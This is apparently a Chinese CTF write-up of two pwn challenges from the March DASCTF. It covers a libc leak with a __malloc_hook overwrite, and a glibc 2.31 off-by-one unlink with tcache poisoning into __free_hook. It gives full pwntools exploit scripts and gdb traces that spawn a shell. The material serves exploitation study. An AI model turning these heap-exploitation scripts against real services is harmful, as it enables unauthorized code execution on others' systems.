0%

Mar.DASCTF明御攻防赛

fruitpie

思路挺简单的

程序流程

基本上分为四部分。

  1. 输入要分配的chunk大小,打印chunk地址
  2. 输入与分配chunk的偏移,往该地址中输入0x10数据。
  3. malloc(0xA0) => 很明显是要覆盖__malloc_hook
  4. close(1) => 关闭输出,所以要重定向(本地就不需要了)

image-20210428214311968

漏洞利用

根据程序的四个功能,一步步来做

  1. 给定chunk大小并打印

    可以输入一个很大的chunk(和高校战役force的第一步操作类似),泄露的块地址和libc_base偏移固定,故可以得到libc_base

  2. 输入偏移,输入数据

    1. 偏移计算

      • 由功能3可以明确知道,是要覆盖__malloc_hook

      • 由功能1得到了libc_base,可以计算__malloc_hook的地址

      • 故可以利用__malloc_hook地址 - chunk地址 = offset

    2. 数据

      • 输入one_gadget地址即可
      • 本地不需要调整栈帧,直接发送one_gadget即可
  3. malloc(0xA0)

    即可get shell

  4. close(1) [本地不需要]

    需要输出重定向

    "exec 1>&0"

详细过程

0.基本信息

保护全开,libc是2.27的

1
2
3
4
5
6
[*] '/home/winter/mar/fruitpie/fruitpie'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
winter@ubuntu:~/mar/fruitpie$ strings libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.
Compiled by GNU CC version 7.5.0.

1.分配大块,计算libc_base

1
2
3
4
5
[DEBUG] Sent 0x8 bytes:
'1048576\n'
[DEBUG] Received 0x17 bytes:
'0x7f06e5785010\n'
'Offset:\n'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55d2669e0000 0x55d2669e2000 r-xp 2000 0 /home/winter/mar/fruitpie/fruitpie
0x55d266be1000 0x55d266be2000 r--p 1000 1000 /home/winter/mar/fruitpie/fruitpie
0x55d266be2000 0x55d266be3000 rw-p 1000 2000 /home/winter/mar/fruitpie/fruitpie
0x55d266c68000 0x55d266c89000 rw-p 21000 0 [heap]
0x7f06e526e000 0x7f06e5455000 r-xp 1e7000 0 /home/winter/mar/fruitpie/libc.so.6
0x7f06e5455000 0x7f06e5655000 ---p 200000 1e7000 /home/winter/mar/fruitpie/libc.so.6
0x7f06e5655000 0x7f06e5659000 r--p 4000 1e7000 /home/winter/mar/fruitpie/libc.so.6
0x7f06e5659000 0x7f06e565b000 rw-p 2000 1eb000 /home/winter/mar/fruitpie/libc.so.6
0x7f06e565b000 0x7f06e565f000 rw-p 4000 0
0x7f06e565f000 0x7f06e5688000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f06e5785000 0x7f06e5888000 rw-p 103000 0
0x7f06e5888000 0x7f06e5889000 r--p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f06e5889000 0x7f06e588a000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f06e588a000 0x7f06e588b000 rw-p 1000 0
0x7ffe87583000 0x7ffe875a4000 rw-p 21000 0 [stack]
0x7ffe875bd000 0x7ffe875c0000 r--p 3000 0 [vvar]
0x7ffe875c0000 0x7ffe875c2000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

0x7f06e5785010 - 0x7f06e526e000 = 0x517010

1
2
3
4
5
6
7
8
p.recvuntil("Enter the size to malloc:")
p.sendline(str(1048576))
p.recvuntil("0x")
chunk_base = int(p.recv(12).strip(),16)
log.success(hex(chunk_base))

libc_base = chunk_base - 0x517010
log.success(hex(libc_base))

2.计算偏移,发送数据

偏移就是offset = malloc_hook - chunk_base

数据就是onegadget[1]+libc_base

1
2
3
4
5
6
7
8
9
malloc_hook = libc_base + libc.sym['__malloc_hook']
offset = malloc_hook - chunk_base
p.recvuntil("Offset:")
p.sendline(hex(offset))

onegadget = [0x415e6,0x4163a,0xdfac1]
p.recvuntil("Data:")
payload = p64(onegadget[1]+libc_base)
p.sendline(payload)

因为程序不支持调试,所以需要用支持debug版本的libc才能看得到,,,懒得再整一遍了orz

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
elf = ELF("./fruitpie")
# libc = ELF("/usr/local/glibc-2.27/lib/libc-2.27.so")
# p = process(["/usr/local/glibc-2.27/lib/ld-2.27.so", "./fruitpie"],
# env={"LD_PRELOAD":"/usr/local/glibc-2.27/lib/libc-2.27.so"})
context.log_level = 'debug'
p = process("./fruitpie",env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF("./libc.so.6")

p.recvuntil("Enter the size to malloc:")
p.sendline(str(1048576))
p.recvuntil("0x")
chunk_base = int(p.recv(12).strip(),16)
log.success(hex(chunk_base))

libc_base = chunk_base - 0x517010
log.success(hex(libc_base))


malloc_hook = libc_base + libc.sym['__malloc_hook']
offset = malloc_hook - chunk_base
p.recvuntil("Offset:")
p.sendline(hex(offset))

onegadget = [0x415e6,0x4163a,0xdfac1]
p.recvuntil("Data:")
payload = p64(0x10a45c+libc_base)
p.sendline(payload)

p.interactive()

babybabybabyheap

2.31的off by one

程序流程

由四个功能,其中exit功能中有一个隐藏功能edit

  1. 程序一开始就送了一个puts的地址,可以计算libc地址
  2. add:根据idx,size,content创建块,其中chunk指针被放入heap_list,长度也存入了size_list
  3. show:根据idx,打印chunk内容
  4. delete:根据size判断是否是否,size_list被置零,不存在uaf
  5. 隐藏功能edit:根据idx,修改内容,但是存在off by one

puts地址

ida反汇编并没有看到这个地址,汇编里面可以清楚看到

image-20210513201026622

image-20210513201127385

隐藏edit功能

main函数反汇编并不好看,直接汇编更加清楚

image-20210513194930539

image-20210513195209948

漏洞利用

off by one

分析程序

在输入函数中,将最后两位置零

image-20210513195310404

add函数中,没有off by one

image-20210513195431863

edit函数中,存在off by one

image-20210513195449902

利用

分配程序,利用off by one,可以将size中代表前面是否释放的1位置零,使得上一个chunk被认为释放,并进行unlink操作。

例如:分配四个块:

  • chunk1 = 0x108(堆块重叠)
  • chunk2 = 0x118
  • chunk3 = 0x1f8(0x201(最后0x10是chunk头,0x1表示上一个块未释放))
  • chunk4 = 0x118(和chunk2相同,为了放在同一链中,chunk2 -> chunk4,修改chunk2中的内容,就可以任意地址申请chunk了)

首先在chunk1中伪造一个fake_chunk

通过chunk2可以将chunk3的大小改为0x200,并修改pre_size为chunk1+chunk2,这样,释放chunk3的时候,会以为fake_chunk也被释放,程序会进行unlink操作,合并三个chunk,这样chunk1和chunk2都是used,和fake_chunk中有重叠。

详细过程

0.基本信息

stripped代表程序去掉了符号表,需要使用debug版本的glibc进行调试

1
2
winter@ubuntu:~/mar/babybabybabyheap$ file babyheap
babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c05390deb68a417f8d87365fd817c6396eca7462, for GNU/Linux 3.2.0, stripped

没开pie和relro,地址固定,并且可以修改got表

1
2
3
4
5
6
7
winter@ubuntu:~/ctf$ checksec babyheap 
[*] '/home/winter/ctf/babyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

#

1.申请七个块

这七个块主要用来填满tcache。但是要在使用的四个chunk申请之后释放,不然会把这七个块中申请过来

1
2
for i in range(7):
add(i+2,0x1f8,'winter')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555556995000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555556995290
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995490
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995690
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995890
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995a90
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995c90
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995e90
Size: 0x201

Top chunk | PREV_INUSE
Addr: 0x555556996090
Size: 0x1ff71

2.申请使用的四个块

在第一个chunk伪造一个chunk,做unlink攻击

1
2
3
4
add(0,0x108,p64(0)+p64(0x221)+p64(fd)+p64(bk))
add(15,0x118,'winter')
add(9,0x1f8,'winter')
add(10,0x118,'winter')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Allocated chunk | PREV_INUSE
Addr: 0x5555557ec090
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x5555557ec1a0
Size: 0x121

Allocated chunk | PREV_INUSE
Addr: 0x5555557ec2c0
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x5555557ec4c0
Size: 0x121

Top chunk | PREV_INUSE
Addr: 0x5555557ec5e0
Size: 0x1fa21
1
2
3
4
5
6
pwndbg> x/30gx 0x5555557ec090
0x5555557ec090: 0x0000000000000000 0x0000000000000111
0x5555557ec0a0: 0x0000000000000000 0x0000000000000221
0x5555557ec0b0: 0x0000000000404128 0x0000000000404130
0x5555557ec0c0: 0x0000000000000000 0x0000000000000000
0x5555557ec0d0: 0x0000000000000000 0x0000000000000000

3.释放七个块,填满tcache

tcache填满,才会进行unlink,不然直接释放进入tcache中了

1
2
for i in range(7):
delete(i+2)
1
2
3
pwndbg> bins
tcachebins
0x200 [ 7]: 0x555555fd6ea0 —▸ 0x555555fd6ca0 —▸ 0x555555fd6aa0 —▸ 0x555555fd68a0 —▸ 0x555555fd66a0 —▸ 0x555555fd64a0 —▸ 0x555555fd62a0 ◂— 0x0

4.off by one

填满chunk2,并修改chunk3的pre_size为伪造chunk大小

1
2
3
payload = "a"*0x110
payload += p64(0x220)
edit(15,payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/50gx 0x555555adb3a0
0x555555adb3a0: 0x0000000000000000 0x0000000000000121 #chunk2
0x555555adb3b0: 0x6161616161616161 0x6161616161616161
0x555555adb3c0: 0x6161616161616161 0x6161616161616161
0x555555adb3d0: 0x6161616161616161 0x6161616161616161
0x555555adb3e0: 0x6161616161616161 0x6161616161616161
0x555555adb3f0: 0x6161616161616161 0x6161616161616161
0x555555adb400: 0x6161616161616161 0x6161616161616161
0x555555adb410: 0x6161616161616161 0x6161616161616161
0x555555adb420: 0x6161616161616161 0x6161616161616161
0x555555adb430: 0x6161616161616161 0x6161616161616161
0x555555adb440: 0x6161616161616161 0x6161616161616161
0x555555adb450: 0x6161616161616161 0x6161616161616161
0x555555adb460: 0x6161616161616161 0x6161616161616161
0x555555adb470: 0x6161616161616161 0x6161616161616161
0x555555adb480: 0x6161616161616161 0x6161616161616161
0x555555adb490: 0x6161616161616161 0x6161616161616161
0x555555adb4a0: 0x6161616161616161 0x6161616161616161
0x555555adb4b0: 0x6161616161616161 0x6161616161616161
0x555555adb4c0: 0x0000000000000220 0x0000000000000200 #chunk3
0x555555adb4d0: 0x00007265746e6977 0x0000000000000000
0x555555adb4e0: 0x0000000000000000 0x0000000000000000

5.unlink合并

2.31中对unlink加入检查,需要size==pre_size

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

释放chunk3,则tcache满了,chunk3中chunk2的标志位为0,认为chunk2被释放,故进行向前合并,unlink

1
delete(9)
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0x55555654d090
0x55555654d090: 0x0000000000000000 0x0000000000000111
0x55555654d0a0: 0x0000000000000000 0x0000000000000421#fake_chunk大小改变
0x55555654d0b0: 0x00007f809c23bbe0 0x00007f809c23bbe0
0x55555654d0c0: 0x0000000000000000 0x0000000000000000
0x55555654d0d0: 0x0000000000000000 0x0000000000000000
0x55555654d0e0: 0x0000000000000000 0x0000000000000000
0x55555654d0f0: 0x0000000000000000 0x0000000000000000
0x55555654d100: 0x0000000000000000 0x0000000000000000

此时已经造成堆块重叠了。

chunk1、chunk2与合并后的chunk重叠,并且合并后的chunk在unsortedbin中

image-20210513202435970

6.释放chunk bk

释放chunk2和chunk4,tcache是先进先出

  • 释放chunk2、chunk4
  • chunk2 -> chunk4
  • 申请顺序是chunk4、chunk2

此时,chunk2中的fd指向下一个被释放的块

1
2
3
4
pwndbg> bins
tcachebins
0x120 [ 2]: 0x555556fae1b0 —▸ 0x555556fae4d0 ◂— 0x0
0x200 [ 7]: 0x555556fadea0 —▸ 0x555556fadca0 —▸ 0x555556fadaa0 —▸ 0x555556fad8a0 —▸ 0x555556fad6a0 —▸ 0x555556fad4a0 —▸ 0x555556fad2a0 ◂— 0x0

7.切割unsortbin

申请一个大于chunk1大小的chunk,这样改chunk和chunk1+chunk2重叠

通过改chunk修改chunk2的fd指针,指向free_hook

1
add(18,0x150,"/bin/sh\x00"+'a'*0xf8+p64(free_hook))

原来0x421的chunk被分割前0x161给申请的块了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/50gx 0x5555560e0090
0x5555560e0090: 0x0000000000000000 0x0000000000000111
0x5555560e00a0: 0x0000000000000000 0x0000000000000161#申请的chunk
0x5555560e00b0: 0x0068732f6e69622f 0x6161616161616161#填入binsh
0x5555560e00c0: 0x6161616161616161 0x6161616161616161
0x5555560e00d0: 0x6161616161616161 0x6161616161616161
0x5555560e00e0: 0x6161616161616161 0x6161616161616161
0x5555560e00f0: 0x6161616161616161 0x6161616161616161
0x5555560e0100: 0x6161616161616161 0x6161616161616161
0x5555560e0110: 0x6161616161616161 0x6161616161616161
0x5555560e0120: 0x6161616161616161 0x6161616161616161
0x5555560e0130: 0x6161616161616161 0x6161616161616161
0x5555560e0140: 0x6161616161616161 0x6161616161616161
0x5555560e0150: 0x6161616161616161 0x6161616161616161
0x5555560e0160: 0x6161616161616161 0x6161616161616161
0x5555560e0170: 0x6161616161616161 0x6161616161616161
0x5555560e0180: 0x6161616161616161 0x6161616161616161
0x5555560e0190: 0x6161616161616161 0x6161616161616161
0x5555560e01a0: 0x6161616161616161 0x6161616161616161
0x5555560e01b0: 0x00007f2af2d3ab28 0x00005555560d0000#chunk2的fd被修改
0x5555560e01c0: 0x6161616161616161 0x6161616161616161
1
2
3
pwndbg> bins
tcachebins
0x120 [ 2]: 0x5555560e01b0 —▸ 0x7f2af2d3ab28 (__free_hook) ◂— 0x0

8.申请chunk2的fd为新的chunk

chunk2的fd被修改为free_hook

1
2
add(19,0x118,p64(system))
add(20,0x118,p64(system))
1
2
3
pwndbg> bins
tcachebins
0x120 [ 1]: 0x7f4deb068b28 (__free_hook) ◂— 0x0

free_hook作为chunk申请走了

1
2
3
4
5
6
pwndbg> bins
tcachebins
0x200 [ 7]: 0x55555636cea0 —▸ 0x55555636cca0 —▸ 0x55555636caa0 —▸ 0x55555636c8a0 —▸ 0x55555636c6a0 —▸ 0x55555636c4a0 —▸ 0x55555636c2a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0

9.chunk2的内容作为参数,释放

1
delete(18)

即可get shell

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#coding = utf-8
from pwn import *
context.log_level = 'debug'
file = "babyheap"

local=1
#local libc
if local == 0:
p = process("./"+file)
elf = ELF("./"+file)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

#debug libc
elif local == 1:
p = process(["/usr/local/glibc-2.31/lib/ld-2.31.so", "./"+file],
env={"LD_PRELOAD":"/usr/local/glibc-2.31/lib/libc-2.31.so"})
elf = ELF("./"+file)
libc = ELF("/usr/local/glibc-2.31/lib/libc-2.31.so")

#remote
elif local == 2:
p = remote()
elf = ELF("./file")
libc = ELF("./libc-2.31.so")

def cmd(choice):
p.recvuntil(">>")
p.sendline(str(choice))

def add(idx,size,content):
cmd(1)
p.recvuntil("index?")
p.sendline(str(idx))
p.recvuntil("size?")
p.sendline(str(size))
p.recvuntil("content?")
p.sendline(str(content))
def show(idx):
cmd(2)
p.recvuntil("index?")
p.sendline(str(idx))
def delete(idx):
cmd(3)
p.recvuntil("index?")
p.sendline(str(idx))
def edit(idx,content):
cmd(4)
p.recvuntil("(y/n)")
p.send("n")#not line
p.recvuntil("index?")
p.sendline(str(idx))
p.recvuntil("content?")
p.sendline(str(content))

p.recvuntil("gift: ")
puts_addr = int(p.recv(14).strip(),16)
log.success("puts:"+hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
log.success("libc_base:"+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

for i in range(7):
add(i+2,0x1f8,'winter')

ptr = 0x404140
fd = ptr - 0x18
bk = ptr - 0x10
add(0,0x108,p64(0)+p64(0x221)+p64(fd)+p64(bk))
add(15,0x118,'winter')
add(9,0x1f8,'winter')
add(10,0x118,'winter')

for i in range(7):
delete(i+2)

payload = "a"*0x110
payload += p64(0x220)
edit(15,payload)
delete(9)

delete(10)
delete(15)

add(18,0x150,"/bin/sh\x00"+'a'*0xf8+p64(free_hook))
add(19,0x118,p64(system))
add(20,0x118,p64(system))
gdb.attach(p)
delete(18)
# gdb.attach(p)
# pause()

p.interactive()

参考 & 下载

Q:如果阅读本文需要付费,你是否愿意为此支付1元?